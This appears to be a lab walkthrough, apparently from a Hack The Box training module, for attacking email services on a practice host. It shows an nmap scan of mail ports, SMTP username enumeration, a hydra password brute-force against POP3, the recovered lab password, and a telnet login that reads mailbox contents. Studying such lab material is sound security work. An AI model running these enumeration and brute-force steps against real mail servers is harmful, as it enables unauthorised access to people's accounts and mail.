---
description: May 27, 2024
---

# Attacking Email Services

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FcHVaUyPR0p487dwqmNrL%2Fimage.png?alt=media&#x26;token=5afec2bd-9bbb-485b-b856-99591c3cb7a4" alt=""><figcaption></figcaption></figure>

```
nmap -Pn -sV -sC -oN nmap -p25,143,110,465,587,993,995 10.129.25.15
```

```
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-27 22:35 PST
Nmap scan report for inlanefreight.htb (10.129.25.15)
Host is up (0.44s latency).

PORT    STATE    SERVICE VERSION
25/tcp  open     smtp    hMailServer smtpd
| smtp-commands: WIN-02, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
110/tcp open     pop3    hMailServer pop3d
|_pop3-capabilities: USER UIDL TOP
143/tcp open     imap    hMailServer imapd
|_imap-capabilities: CAPABILITY IDLE CHILDREN OK SORT NAMESPACE completed ACL QUOTA IMAP4 IMAP4rev1 RIGHTS=texkA0001
465/tcp filtered smtps
587/tcp open     smtp    hMailServer smtpd
| smtp-commands: WIN-02, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
993/tcp filtered imaps
995/tcp filtered pop3s
Service Info: Host: WIN-02; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 54.23 seconds
```

```
sudo vim /etc/hosts
cat /etc/hosts    
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FgvHPfFvdSgMPCpw2EA4X%2Fimage.png?alt=media&#x26;token=958ff207-c9d3-4330-a25b-248f55dafd44" alt=""><figcaption></figcaption></figure>

```
smtp-user-enum -M RCPT -U users.list -D inlanefreight.htb -t 10.129.25.15
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FQnS65Fa6L8FAjsdxR6Uy%2Fimage.png?alt=media&#x26;token=af2e03c1-c47a-4e42-b949-891849ef4409" alt=""><figcaption></figcaption></figure>

```
hydra -l marlin@inlanefreight.htb -P pws.list 10.129.59.13 pop3
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FEqohJRJCnmqI0xzrWdfH%2Fimage.png?alt=media&#x26;token=80fc91f4-8a23-43e3-8c16-6c6ef2d37694" alt=""><figcaption></figcaption></figure>

Logging to pop3

```
login: marlin@inlanefreight.htb 
password: poohbear
```

```
telnet 10.129.59.13 110

USER marlin@inlanefreight.htb
PASS poohbear
LIST
RETR 1
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FZjJx2vUCp0WLewQ6mBl8%2Fimage.png?alt=media&#x26;token=0d44db69-2153-4dfa-9e14-ed2b5bd7ce39" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FfkDaFvt3a9kokcmyu8Xu%2Fimage.png?alt=media&#x26;token=2a320bb9-b0f3-4cf6-8e86-82e06e2c7602" alt=""><figcaption></figcaption></figure>
